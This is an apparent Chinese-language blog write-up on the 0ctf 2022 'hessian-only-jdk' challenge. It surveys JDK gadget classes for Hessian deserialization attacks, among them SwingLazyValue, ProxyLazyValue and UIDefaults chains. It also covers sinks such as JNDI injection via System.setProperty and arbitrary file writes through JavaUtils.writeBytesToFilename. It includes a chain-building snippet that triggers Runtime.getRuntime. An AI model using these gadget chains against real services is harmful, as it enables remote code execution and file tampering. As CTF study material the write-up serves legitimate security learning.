前言

学习!0ctf2022 hessian-only-jdk相关危险操作点。


SwingLazyValue

好像都要用到这个类,看看这是个什么东西。

一眼就能看到这个神奇函数:

public Object createValue(UIDefaults var1) {
    try {
        ReflectUtil.checkPackageAccess(this.className);
        Class var2 = Class.forName(this.className, true, (ClassLoader)null);
        Class[] var3;
        if (this.methodName != null) {
            var3 = this.getClassArray(this.args);
            Method var6 = var2.getMethod(this.methodName, var3);
            this.makeAccessible(var6);
            return var6.invoke(var2, this.args);
        } else {
            var3 = this.getClassArray(this.args);
            Constructor var4 = var2.getConstructor(var3);
            this.makeAccessible(var4);
            return var4.newInstance(this.args);
        }
    } catch (Exception var5) {
        return null;
    }
}

输入参数竟然毫无用处,createValue函数给出了两个选择:

  • 由于invoke主体为Class,所以只能用于调用一次参数可控的静态函数

  • 或者调用一次参数可控的构造函数

值得注意的一点是在通过Class.forName加载类时:

Class var2 = Class.forName(this.className, true, (ClassLoader)null);

没有传入classloader,那么使用的应该是BootstrapClassLoader,而它只能加载rt.jar里面的类。

ProxyLazyValue

SwingLazyValue继承自LazyValue接口,看看这个接口下的其他类,会发现ProxyLazyValue,其createValue函数也有类似的操作:

Class<?> c;
Object cl;
// See if we should use a separate ClassLoader
if (table == null || !((cl = table.get("ClassLoader"))
                        instanceof ClassLoader)) {
    cl = Thread.currentThread().
                getContextClassLoader();
    if (cl == null) {
        // Fallback to the system class loader.
        cl = ClassLoader.getSystemClassLoader();
    }
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
    Class[] types = getClassArray(args);
    Method m = c.getMethod(methodName, types);
    return MethodUtil.invoke(m, c, args);
} else {
    Class[] types = getClassArray(args);
    Constructor constructor = c.getConstructor(types);
    SwingUtilities2.checkAccess(constructor.getModifiers());
    return constructor.newInstance(args);
}

可以看到,这里的同样可以调用静态函数和构造函数,不同的是这里加载类时的classloader不是null。

LazyValue调用链

UIDefaults类的getFromHashtable函数可以,UIDefaults虽然是Map类,但是其存在public的无参构造函数,并且本身是个public类,所以不会被hessian吃掉。

再往上是get函数,所以找一个Map.get就行了,比如HashTable的equals函数就可以。

简单构造一个HashMap包含两个UIDefaults就行:

Object proxyLazyValue = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue, "className", "java.lang.Runtime");
Utils.setField(proxyLazyValue, "methodName", "getRuntime");
Utils.setField(proxyLazyValue, "args", new Object[]{});

UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);

unserialize(serialize(bigMap));

根据参考文章,也可以走java.awt.datatransfer.MimeTypeParameterList进来:

StringBuilder buffer = new StringBuilder(parameters.size() * 16);

Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
    buffer.append("; ");

    String key = keys.nextElement();
    buffer.append(key);
    buffer.append('=');
        buffer.append(quote(parameters.get(key)));
}

return buffer.toString();

最后用XString连上这里的toString就好了。

sun.tools.jar.Main

获得静态函数调用最后就是就要找地方完成利用了,sun.tools.jar.Main.main:

public static void main(String[] var0) {
    Main var1 = new Main(System.out, System.err, "jar");
    System.exit(var1.run(var0) ? 0 : 1);
}

Main.run似乎可以写入jar文件:

Packer var11 = Pack200.newPacker();
SortedMap var12 = var11.properties();
var12.put("pack.effort", "1");
var8 = new JarFile(var5.getCanonicalPath());
var9 = this.createTemporaryFile(var7, ".pack");
var4 = new FileOutputStream(var9);
var11.pack(var8, var4);
var10 = new JarOutputStream(var6);
Unpacker var13 = Pack200.newUnpacker();
var13.unpack(var9, var10);

但是内容不可控。

其他代码块里,有文件写入、文件解压的功能:

var47 = this.fname == null ? new FileInputStream(FileDescriptor.in) : new FileInputStream(this.fname);

try {
    this.extract((InputStream)(new BufferedInputStream(var47)), this.files);
} finally {
    var47.close();
}

但是源是另一个文件,所以这个函数使用条件比较苛刻。

com.sun.org.apache.xalan.internal.xslt._main

看起来可以跟TemplatesImpl联动:

Source source = stf.getAssociatedStylesheet(new StreamSource(inFileName), media, null, null);

if (null != source)
    stylesheet = tfactory.newTemplates(source);

但是输入也是文件。

System.setProperty

可以修改属性:

public static String setProperty(String key, String value) {
    checkKey(key);
    SecurityManager sm = getSecurityManager();
    if (sm != null) {
        sm.checkPermission(new PropertyPermission(key,
            SecurityConstants.PROPERTY_WRITE_ACTION));
    }

    return (String) props.setProperty(key, value);
}

比如高版本限制JNDI注入的就是com.sun.jndi.rmi.object.trustURLCodebase、java.rmi.server.useCodebaseOnly等系统属性,修改这些属性可以加载远程对象。

System.setProperty + InitialContext.doLookup

可以触发JNDI注入加载远程对象。

com.sun.org.apache.xml.internal.security.utils.JavaUtils

writeBytesToFilename静态函数:

public static void writeBytesToFilename(String filename, byte[] bytes) {
    if (filename != null && bytes != null) {
        try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
            outputStream.write(bytes);
        } catch (IOException ex) {
            LOG.debug(ex.getMessage(), ex);
        }
    } else {
        LOG.debug("writeBytesToFilename got null byte[] pointed");
    }
}

可以完全控制内容地写入一个文件,简直无敌。

参考


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Hessian JDK反序列化漏洞3
Hessian JDK反序列化漏洞